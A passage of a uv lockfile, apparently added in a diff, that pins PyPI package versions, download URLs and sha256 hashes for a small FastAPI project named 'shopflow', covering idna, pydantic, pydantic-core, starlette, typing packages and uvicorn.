hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" }, +] + +[[package]] +name = "idna" +version = "3.11" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6f/6d/0703ccc57f3a7233505399edb88de3cbd678da106337b9fcde432b65ed60/idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902", size = 194582, upload-time = "2025-10-12T14:55:20.501Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0e/61/66938bbb5fc52dbdf84594873d5b51fb1f7c7794e9c0f5bd885f30bc507b/idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea", size = 71008, upload-time = "2025-10-12T14:55:18.883Z" }, +] + +[[package]] +name = "pydantic" +version = "2.13.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-types" }, + { name = "pydantic-core" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/84/6b/69fd5c7194b21ebde0f8637e2a4ddc766ada29d472bfa6a5ca533d79549a/pydantic-2.13.0.tar.gz", hash = "sha256:b89b575b6e670ebf6e7448c01b41b244f471edd276cd0b6fe02e7e7aca320070", size = 843468, upload-time = "2026-04-13T10:51:35.571Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/01/d7/c3a52c61f5b7be648e919005820fbac33028c6149994cd64453f49951c17/pydantic-2.13.0-py3-none-any.whl", hash = "sha256:ab0078b90da5f3e2fd2e71e3d9b457ddcb35d0350854fbda93b451e28d56baaf", size = 471872, upload-time = "2026-04-13T10:51:33.343Z" }, +] + +[[package]] +name = "pydantic-core" +version = "2.46.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/6f/0a/9414cddf82eda3976b14048cc0fa8f5b5d1aecb0b22e1dcd2dbfe0e139b1/pydantic_core-2.46.0.tar.gz", hash = "sha256:82d2498c96be47b47e903e1378d1d0f770097ec56ea953322f39936a7cf34977", size = 471441, upload-time = "2026-04-13T09:06:33.813Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a7/d2/206c72ad47071559142a35f71efc29eb16448a4a5ae9487230ab8e4e292b/pydantic_core-2.46.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:66ccedb02c934622612448489824955838a221b3a35875458970521ef17b2f9c", size = 2117060, upload-time = "2026-04-13T09:04:47.443Z" }, + { url = "https://files.pythonhosted.org/packages/17/2c/7a53b33f91c8b77e696b1a6aa3bed609bf9374bdc0f8dcda681bc7d922b8/pydantic_core-2.46.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:a44f27f4d2788ef9876ec47a43739b118c5904d74f418f53398f6ced3bbcacf2", size = 1951802, upload-time = "2026-04-13T09:05:34.591Z" }, + { url = "https://files.pythonhosted.org/packages/fc/20/90e548c1f6d38800ef11c915881525770ce270d8e5e887563ff046a08674/pydantic_core-2.46.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f26a1032bcce6ca4b4670eb3f7d8195bd0a8b8f255f1307823e217ca3cfa7c27", size = 1976621, upload-time = "2026-04-13T09:04:03.909Z" }, + { url = "https://files.pythonhosted.org/packages/20/3c/9c5810ca70b60c623488cdd80f7e9ee1a0812df81e97098b64788719860f/pydantic_core-2.46.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:1b8d1412f725060527e56675904b17a2d421dddcf861eecf7c75b9dda47921a4", size = 2056721, upload-time = "2026-04-13T09:04:40.992Z" }, + { url = "https://files.pythonhosted.org/packages/1a/a3/d6e5f4cdec84278431c75540f90838c9d0a4dfe9402a8f3902073660ff28/pydantic_core-2.46.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dc3d1569edd859cabaa476cabce9eecd05049a7966af7b4a33b541bfd4ca1104", size = 2239634, upload-time = "2026-04-13T09:03:52.478Z" }, + { url = "https://files.pythonhosted.org/packages/46/42/ef58aacf330d8de6e309d62469aa1f80e945eaf665929b4037ac1bfcebc1/pydantic_core-2.46.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:38108976f2d8afaa8f5067fd1390a8c9f5cc580175407cda636e76bc76e88054", size = 2315739, upload-time = "2026-04-13T09:05:04.971Z" }, + { url = "https://files.pythonhosted.org/packages/8b/86/c63b12fafa2d86a515bfd1840b39c23a49302f02b653161bf9c3a0566c50/pydantic_core-2.46.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3a5a06d8ed01dad5575056b5187e5959b336793c6047920a3441ee5b03533836", size = 2098169, upload-time = "2026-04-13T09:07:27.151Z" }, + { url = "https://files.pythonhosted.org/packages/76/19/b5b33a2f6be4755b21a20434293c4364be255f4c1a108f125d101d4cc4ee/pydantic_core-2.46.0-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:04017ace142da9ce27cafd423a480872571b5c7e80382aec22f7d715ca8eb870", size = 2170830, upload-time = "2026-04-13T09:04:39.448Z" }, + { url = "https://files.pythonhosted.org/packages/99/ae/7559f99a29b7d440012ddb4da897359304988a881efaca912fd2f655652e/pydantic_core-2.46.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2629ad992ed1b1c012e6067f5ffafd3336fcb9b54569449fabb85621f1444ed3", size = 2203901, upload-time = "2026-04-13T09:04:01.048Z" }, + { url = "https://files.pythonhosted.org/packages/dd/0e/b0ef945a39aeb4ac58da316813e1106b7fbdfbf20ac141c1c27904355ac5/pydantic_core-2.46.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:3068b1e7bd986aebc88f6859f8353e72072538dcf92a7fb9cf511a0f61c5e729", size = 2191789, upload-time = "2026-04-13T09:06:39.915Z" }, + { url = "https://files.pythonhosted.org/packages/90/f4/830484e07188c1236b013995818888ab93bab8fd88aa9689b1d8fd22220d/pydantic_core-2.46.0-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:1e366916ff69ff700aa9326601634e688581bc24c5b6b4f8738d809ec7d72611", size = 2344423, upload-time = "2026-04-13T09:05:12.252Z" }, + { url = "https://files.pythonhosted.org/packages/fd/ba/e455c18cbdc333177af754e740be4fe9d1de173d65bbe534daf88da02ac0/pydantic_core-2.46.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:485a23e8f4618a1b8e23ac744180acde283fffe617f96923d25507d5cade62ec", size = 2384037, upload-time = "2026-04-13T09:06:24.503Z" }, + { url = "https://files.pythonhosted.org/packages/78/1f/b35d20d73144a41e78de0ae398e60fdd8bed91667daa1a5a92ab958551ba/pydantic_core-2.46.0-cp312-cp312-win32.whl", hash = "sha256:520940e1b702fe3b33525d0351777f25e9924f1818ca7956447dabacf2d339fd", size = 1967068, upload-time = "2026-04-13T09:05:23.374Z" }, + { url = "https://files.pythonhosted.org/packages/d1/84/4b6252e9606e8295647b848233cc4137ee0a04ebba8f0f9fb2977655b38c/pydantic_core-2.46.0-cp312-cp312-win_amd64.whl", hash = "sha256:90d2048e0339fa365e5a66aefe760ddd3b3d0a45501e088bc5bc7f4ed9ff9571", size = 2071008, upload-time = "2026-04-13T09:05:21.392Z" }, + { url = "https://files.pythonhosted.org/packages/39/95/d08eb508d4d5560ccbd226ee5971e5ef9b749aba9b413c0c4ed6e406d4f6/pydantic_core-2.46.0-cp312-cp312-win_arm64.whl", hash = "sha256:a70247649b7dffe36648e8f34be5ce8c5fa0a27ff07b071ea780c20a738c05ce", size = 2036634, upload-time = "2026-04-13T09:05:48.299Z" }, + { url = "https://files.pythonhosted.org/packages/df/05/ab3b0742bad1d51822f1af0c4232208408902bdcfc47601f3b812e09e6c2/pydantic_core-2.46.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:a05900c37264c070c683c650cbca8f83d7cbb549719e645fcd81a24592eac788", size = 2116814, upload-time = "2026-04-13T09:04:12.41Z" }, + { url = "https://files.pythonhosted.org/packages/98/08/30b43d9569d69094a0899a199711c43aa58fce6ce80f6a8f7693673eb995/pydantic_core-2.46.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:8de8e482fd4f1e3f36c50c6aac46d044462615d8f12cfafc6bebeaa0909eea22", size = 1951867, upload-time = "2026-04-13T09:04:02.364Z" }, + { url = "https://files.pythonhosted.org/packages/db/a0/bf9a1ba34537c2ed3872a48195291138fdec8fe26c4009776f00d63cf0c8/pydantic_core-2.46.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c525ecf8a4cdf198327b65030a7d081867ad8e60acb01a7214fff95cf9832d47", size = 1977040, upload-time = "2026-04-13T09:06:16.088Z" }, + { url = "https://files.pythonhosted.org/packages/71/70/0ba03c20e1e118219fc18c5417b008b7e880f0e3fb38560ec4465984d471/pydantic_core-2.46.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f14581aeb12e61542ce73b9bfef2bca5439d65d9ab3efe1a4d8e346b61838f9b", size = 2055284, upload-time = "2026-04-13T09:05:25.125Z" }, + { url = "https://files.pythonhosted.org/packages/58/cf/1e320acefbde7fb7158a9e5def55e0adf9a4634636098ce28dc6b978e0d3/pydantic_core-2.46.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c108067f2f7e190d0dbd81247d789ec41f9ea50ccd9265a3a46710796ac60530", size = 2238896, upload-time = "2026-04-13T09:05:01.345Z" }, + { url = "https://files.pythonhosted.org/packages/df/f5/ea8ba209756abe9eba891bb0ef3772b4c59a894eb9ad86cd5bd0dd4e3e52/pydantic_core-2.46.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1ac10967e9a7bb1b96697374513f9a1a90a59e2fb41566b5e00ee45392beac59", size = 2314353, upload-time = "2026-04-13T09:06:07.942Z" }, + { url = "https://files.pythonhosted.org/packages/e8/f8/5885350203b72e96438eee7f94de0d8f0442f4627237ca8ef75de34db1cd/pydantic_core-2.46.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7897078fe8a13b73623c0955dfb2b3d2c9acb7177aac25144758c9e5a5265aaa", size = 2098522, upload-time = "2026-04-13T09:04:23.239Z" }, + { url = "https://files.pythonhosted.org/packages/bf/88/5930b0e828e371db5a556dd3189565417ddc3d8316bb001058168aadcf5f/pydantic_core-2.46.0-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:e69ce405510a419a082a78faed65bb4249cfb51232293cc675645c12f7379bf7", size = 2168757, upload-time = "2026-04-13T09:07:12.46Z" }, + { url = "https://files.pythonhosted.org/packages/da/75/63d563d3035a0548e721c38b5b69fd5626fdd51da0f09ff4467503915b82/pydantic_core-2.46.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:fd28d13eea0d8cf351dc1fe274b5070cc8e1cca2644381dee5f99de629e77cf3", size = 2202518, upload-time = "2026-04-13T09:05:44.418Z" }, + { url = "https://files.pythonhosted.org/packages/a7/53/1958eacbfddc41aadf5ae86dd85041bf054b675f34a2fa76385935f96070/pydantic_core-2.46.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:ee1547a6b8243e73dd10f585555e5a263395e55ce6dea618a078570a1e889aef", size = 2190148, upload-time = "2026-04-13T09:06:56.151Z" }, + { url = "https://files.pythonhosted.org/packages/c7/17/098cc6d3595e4623186f2bc6604a6195eb182e126702a90517236391e9ce/pydantic_core-2.46.0-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:c3dc68dcf62db22a18ddfc3ad4960038f72b75908edc48ae014d7ac8b391d57a", size = 2342925, upload-time = "2026-04-13T09:04:17.286Z" }, + { url = "https://files.pythonhosted.org/packages/71/a7/abdb924620b1ac535c690b36ad5b8871f376104090f8842c08625cecf1d3/pydantic_core-2.46.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:004a2081c881abfcc6854a4623da6a09090a0d7c1398a6ae7133ca1256cee70b", size = 2383167, upload-time = "2026-04-13T09:04:52.643Z" }, + { url = "https://files.pythonhosted.org/packages/d7/c9/2ddd10f50e4b7350d2574629a0f53d8d4eb6573f9c19a6b43e6b1487a31d/pydantic_core-2.46.0-cp313-cp313-win32.whl", hash = "sha256:59d24ec8d5eaabad93097525a69d0f00f2667cb353eb6cda578b1cfff203ceef", size = 1965660, upload-time = "2026-04-13T09:06:05.877Z" }, + { url = "https://files.pythonhosted.org/packages/b5/e7/1efc38ed6f2680c032bcefa0e3ebd496a8c77e92dfdb86b07d0f2fc632b1/pydantic_core-2.46.0-cp313-cp313-win_amd64.whl", hash = "sha256:71186dad5ac325c64d68fe0e654e15fd79802e7cc42bc6f0ff822d5ad8b1ab25", size = 2069563, upload-time = "2026-04-13T09:07:14.738Z" }, + { url = "https://files.pythonhosted.org/packages/c3/1e/a325b4989e742bf7e72ed35fa124bc611fd76539c9f8cd2a9a7854473533/pydantic_core-2.46.0-cp313-cp313-win_arm64.whl", hash = "sha256:8e4503f3213f723842c9a3b53955c88a9cfbd0b288cbd1c1ae933aebeec4a1b4", size = 2034966, upload-time = "2026-04-13T09:04:21.629Z" }, + { url = "https://files.pythonhosted.org/packages/36/3b/914891d384cdbf9a6f464eb13713baa22ea1e453d4da80fb7da522079370/pydantic_core-2.46.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:4fc801c290342350ffc82d77872054a934b2e24163727263362170c1db5416ca", size = 2113349, upload-time = "2026-04-13T09:04:59.407Z" }, + { url = "https://files.pythonhosted.org/packages/35/95/3a0c6f65e231709fb3463e32943c69d10285cb50203a2130a4732053a06d/pydantic_core-2.46.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:0a36f2cc88170cc177930afcc633a8c15907ea68b59ac16bd180c2999d714940", size = 1949170, upload-time = "2026-04-13T09:06:09.935Z" }, + { url = "https://files.pythonhosted.org/packages/d1/63/d845c36a608469fe7bee226edeff0984c33dbfe7aecd755b0e7ab5a275c4/pydantic_core-2.46.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2a3912e0c568a1f99d4d6d3e41def40179d61424c0ca1c8c87c4877d7f6fd7fb", size = 1977914, upload-time = "2026-04-13T09:04:56.16Z" }, + { url = "https://files.pythonhosted.org/packages/08/6f/f2e7a7f85931fb31671f5378d1c7fc70606e4b36d59b1b48e1bd1ef5d916/pydantic_core-2.46.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3534c3415ed1a19ab23096b628916a827f7858ec8db49ad5d7d1e44dc13c0d7b", size = 2050538, upload-time = "2026-04-13T09:05:06.789Z" }, + { url = "https://files.pythonhosted.org/packages/8c/97/f4aa7181dd9a16dd9059a99fc48fdab0c2aab68307283a5c04cf56de68c4/pydantic_core-2.46.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:21067396fc285609323a4db2f63a87570044abe0acddfcca8b135fc7948e3db7", size = 2236294, upload-time = "2026-04-13T09:07:03.2Z" }, + { url = "https://files.pythonhosted.org/packages/24/c1/6a5042fc32765c87101b500f394702890af04239c318b6002cfd627b710d/pydantic_core-2.46.0-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2afd85b7be186e2fe7cdbb09a3d964bcc2042f65bbcc64ad800b3c7915032655", size = 2312954, upload-time = "2026-04-13T09:06:11.919Z" }, + { url = "https://files.pythonhosted.org/packages/cb/e4/566101a561492ce8454f0844ca29c3b675a6b3a7b3ff577db85ed05c8c50/pydantic_core-2.46.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:67e2c2e171b78db8154da602de72ffdc473c6ee51de8a9d80c0f1cd4051abfc7", size = 2102533, upload-time = "2026-04-13T09:06:58.664Z" }, + { url = "https://files.pythonhosted.org/packages/3e/ac/adc11ee1646a5c4dd9abb09a00e7909e6dc25beddc0b1310ca734bb9b48e/pydantic_core-2.46.0-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:c16ae1f3170267b1a37e16dba5c297bdf60c8b5657b147909ca8774ce7366644", size = 2169447, upload-time = "2026-04-13T09:04:11.143Z" }, + { url = "https://files.pythonhosted.org/packages/26/73/408e686b45b82d28ac19e8229e07282254dbee6a5d24c5c7cf3cf3716613/pydantic_core-2.46.0-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:133b69e1c1ba34d3702eed73f19f7f966928f9aa16663b55c2ebce0893cca42e", size = 2200672, upload-time = "2026-04-13T09:03:54.056Z" }, + { url = "https://files.pythonhosted.org/packages/0a/3b/807d5b035ec891b57b9079ce881f48263936c37bd0d154a056e7fd152afb/pydantic_core-2.46.0-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:15ed8e5bde505133d96b41702f31f06829c46b05488211a5b1c7877e11de5eb5", size = 2188293, upload-time = "2026-04-13T09:07:07.614Z" }, + { url = "https://files.pythonhosted.org/packages/f1/ed/719b307516285099d1196c52769fdbe676fd677da007b9c349ae70b7226d/pydantic_core-2.46.0-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:8cfc29a1c66a7f0fcb36262e92f353dd0b9c4061d558fceb022e698a801cb8ae", size = 2335023, upload-time = "2026-04-13T09:04:05.176Z" }, + { url = "https://files.pythonhosted.org/packages/8d/90/8718e4ae98c4e8a7325afdc079be82be1e131d7a47cb6c098844a9531ffe/pydantic_core-2.46.0-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:e1155708540f13845bf68d5ac511a55c76cfe2e057ed12b4bf3adac1581fc5c2", size = 2377155, upload-time = "2026-04-13T09:06:18.081Z" }, + { url = "https://files.pythonhosted.org/packages/dd/dc/7172789283b963f81da2fc92b186e22de55687019079f71c4d570822502b/pydantic_core-2.46.0-cp314-cp314-win32.whl", hash = "sha256:de5635a48df6b2eef161d10ea1bc2626153197333662ba4cd700ee7ec1aba7f5", size = 1963078, upload-time = "2026-04-13T09:05:30.615Z" }, + { url = "https://files.pythonhosted.org/packages/e0/69/03a7ea4b6264def3a44eabf577528bcec2f49468c5698b2044dea54dc07e/pydantic_core-2.46.0-cp314-cp314-win_amd64.whl", hash = "sha256:f07a5af60c5e7cf53dd1ff734228bd72d0dc9938e64a75b5bb308ca350d9681e", size = 2068439, upload-time = "2026-04-13T09:04:57.729Z" }, + { url = "https://files.pythonhosted.org/packages/f5/eb/1c3afcfdee2ab6634b802ab0a0f1966df4c8b630028ec56a1cb0a710dc58/pydantic_core-2.46.0-cp314-cp314-win_arm64.whl", hash = "sha256:e7a77eca3c7d5108ff509db20aae6f80d47c7ed7516d8b96c387aacc42f3ce0f", size = 2026470, upload-time = "2026-04-13T09:05:08.654Z" }, + { url = "https://files.pythonhosted.org/packages/5c/30/1177dde61b200785c4739665e3aa03a9d4b2c25d2d0408b07d585e633965/pydantic_core-2.46.0-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:5e7cdd4398bee1aaeafe049ac366b0f887451d9ae418fd8785219c13fea2f928", size = 2107447, upload-time = "2026-04-13T09:05:46.314Z" }, + { url = "https://files.pythonhosted.org/packages/b1/60/4e0f61f99bdabbbc309d364a2791e1ba31e778a4935bc43391a7bdec0744/pydantic_core-2.46.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5c2c92d82808e27cef3f7ab3ed63d657d0c755e0dbe5b8a58342e37bdf09bd2e", size = 1926927, upload-time = "2026-04-13T09:06:20.371Z" }, + { url = "https://files.pythonhosted.org/packages/1d/d0/67f89a8269152c1d6eaa81f04e75a507372ebd8ca7382855a065222caa80/pydantic_core-2.46.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0bab80af91cd7014b45d1089303b5f844a9d91d7da60eabf3d5f9694b32a6655", size = 1966613, upload-time = "2026-04-13T09:07:05.389Z" }, + { url = "https://files.pythonhosted.org/packages/cd/07/8dfdc3edc78f29a80fb31f366c50203ec904cff6a4c923599bf50ac0d0ff/pydantic_core-2.46.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:1e49ffdb714bc990f00b39d1ad1d683033875b5af15582f60c1f34ad3eeccfaa", size = 2032902, upload-time = "2026-04-13T09:06:42.47Z" }, + { url = "https://files.pythonhosted.org/packages/b0/2a/111c5e8fe24f99c46bcad7d3a82a8f6dbc738066e2c72c04c71f827d8c78/pydantic_core-2.46.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ca877240e8dbdeef3a66f751dc41e5a74893767d510c22a22fc5c0199844f0ce", size = 2244456, upload-time = "2026-04-13T09:05:36.484Z" }, + { url = "https://files.pythonhosted.org/packages/6b/7c/cfc5d11c15a63ece26e148572c77cfbb2c7f08d315a7b63ef0fe0711d753/pydantic_core-2.46.0-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:87e6843f89ecd2f596d7294e33196c61343186255b9880c4f1b725fde8b0e20d", size = 2294535, upload-time = "2026-04-13T09:06:01.689Z" }, + { url = "https://files.pythonhosted.org/packages/c4/2c/f0d744e3dab7bd026a3f4670a97a295157cff923a2666d30a15a70a7e3d0/pydantic_core-2.46.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e20bc5add1dd9bc3b9a3600d40632e679376569098345500799a6ad7c5d46c72", size = 2104621, upload-time = "2026-04-13T09:04:34.388Z" }, + { url = "https://files.pythonhosted.org/packages/a7/64/e7cc4698dc024264d214b51d5a47a2404221b12060dd537d76f831b2120a/pydantic_core-2.46.0-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:ee6ff79a5f0289d64a9d6696a3ce1f98f925b803dd538335a118231e26d6d827", size = 2130718, upload-time = "2026-04-13T09:04:26.23Z" }, + { url = "https://files.pythonhosted.org/packages/0b/a8/224e655fec21f7d4441438ad2ecaccb33b5a3876ce7bb2098c74a49efc14/pydantic_core-2.46.0-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:52d35cfb58c26323101c7065508d7bb69bb56338cda9ea47a7b32be581af055d", size = 2180738, upload-time = "2026-04-13T09:05:50.253Z" }, + { url = "https://files.pythonhosted.org/packages/32/7b/b3025618ed4c4e4cbaa9882731c19625db6669896b621760ea95bc1125ef/pydantic_core-2.46.0-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:d14cc5a6f260fa78e124061eebc5769af6534fc837e9a62a47f09a2c341fa4ea", size = 2171222, upload-time = "2026-04-13T09:07:29.929Z" }, + { url = "https://files.pythonhosted.org/packages/7b/e3/68170aa1d891920af09c1f2f34df61dc5ff3a746400027155523e3400e89/pydantic_core-2.46.0-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:4f7ff859d663b6635f6307a10803d07f0d09487e16c3d36b1744af51dbf948b2", size = 2320040, upload-time = "2026-04-13T09:06:35.732Z" }, + { url = "https://files.pythonhosted.org/packages/67/1b/5e65807001b84972476300c1f49aea2b4971b7e9fffb5c2654877dadd274/pydantic_core-2.46.0-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:8ef749be6ed0d69dba31902aaa8255a9bb269ae50c93888c4df242d8bb7acd9e", size = 2377062, upload-time = "2026-04-13T09:07:39.945Z" }, + { url = "https://files.pythonhosted.org/packages/75/03/48caa9dd5f28f7662bd52bff454d9a451f6b7e5e4af95e289e5e170749c9/pydantic_core-2.46.0-cp314-cp314t-win32.whl", hash = "sha256:d93ca72870133f86360e4bb0c78cd4e6ba2a0f9f3738a6486909ffc031463b32", size = 1951028, upload-time = "2026-04-13T09:04:20.224Z" }, + { url = "https://files.pythonhosted.org/packages/87/ed/e97ff55fe28c0e6e3cba641d622b15e071370b70e5f07c496b07b65db7c9/pydantic_core-2.46.0-cp314-cp314t-win_amd64.whl", hash = "sha256:6ebb2668afd657e2127cb40f2ceb627dd78e74e9dfde14d9bf6cdd532a29ff59", size = 2048519, upload-time = "2026-04-13T09:05:10.464Z" }, + { url = "https://files.pythonhosted.org/packages/b6/51/e0db8267a287994546925f252e329eeae4121b1e77e76353418da5a3adf0/pydantic_core-2.46.0-cp314-cp314t-win_arm64.whl", hash = "sha256:4864f5bbb7993845baf9209bae1669a8a76769296a018cb569ebda9dcb4241f5", size = 2026791, upload-time = "2026-04-13T09:04:37.724Z" }, + { url = "https://files.pythonhosted.org/packages/74/0c/106ed5cc50393d90523f09adcc50d05e42e748eb107dc06aea971137f02d/pydantic_core-2.46.0-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:bc0e2fefe384152d7da85b5c2fe8ce2bf24752f68a58e3f3ea42e28a29dfdeb2", size = 2104968, upload-time = "2026-04-13T09:06:26.967Z" }, + { url = "https://files.pythonhosted.org/packages/f5/71/b494cef3165e3413ee9bbbb5a9eedc9af0ea7b88d8638beef6c2061b110e/pydantic_core-2.46.0-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:a2ab0e785548be1b4362a62c4004f9217598b7ee465f1f420fc2123e2a5b5b02", size = 1940442, upload-time = "2026-04-13T09:06:29.332Z" }, + { url = "https://files.pythonhosted.org/packages/7e/3e/a4d578c8216c443e26a1124f8c1e07c0654264ce5651143d3883d85ff140/pydantic_core-2.46.0-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:16d45aecb18b8cba1c68eeb17c2bb2d38627ceed04c5b30b882fc9134e01f187", size = 1999672, upload-time = "2026-04-13T09:04:42.798Z" }, + { url = "https://files.pythonhosted.org/packages/cd/c1/9114560468685525a21770138382fd0cb849aaf351ff2c7b97f760d121e0/pydantic_core-2.46.0-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5078f6c377b002428e984259ac327ef8902aacae6c14b7de740dd4869a491501", size = 2154533, upload-time = "2026-04-13T09:04:50.868Z" }, +] + +[[package]] +name = "shopflow" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "fastapi" }, + { name = "httpx" }, + { name = "uvicorn" }, +] + +[package.metadata] +requires-dist = [ + { name = "fastapi", specifier = ">=0.135.3" }, + { name = "httpx", specifier = ">=0.28.1" }, + { name = "uvicorn", specifier = ">=0.44.0" }, +] + +[[package]] +name = "starlette" +version = "1.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/81/69/17425771797c36cded50b7fe44e850315d039f28b15901ab44839e70b593/starlette-1.0.0.tar.gz", hash = "sha256:6a4beaf1f81bb472fd19ea9b918b50dc3a77a6f2e190a12954b25e6ed5eea149", size = 2655289, upload-time = "2026-03-22T18:29:46.779Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/c9/584bc9651441b4ba60cc4d557d8a547b5aff901af35bda3a4ee30c819b82/starlette-1.0.0-py3-none-any.whl", hash = "sha256:d3ec55e0bb321692d275455ddfd3df75fff145d009685eb40dc91fc66b03d38b", size = 72651, upload-time = "2026-03-22T18:29:45.111Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] + +[[package]] +name = "uvicorn" +version = "0.44.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5e/da/6eee1ff8b6cbeed47eeb5229749168e81eb4b7b999a1a15a7176e51410c9/uvicorn-0.44.0.tar.gz", hash = "sha256:6c942071b68f07e178264b9152f1f16dfac5da85880c4ce06366a96d70d4f31e", size = 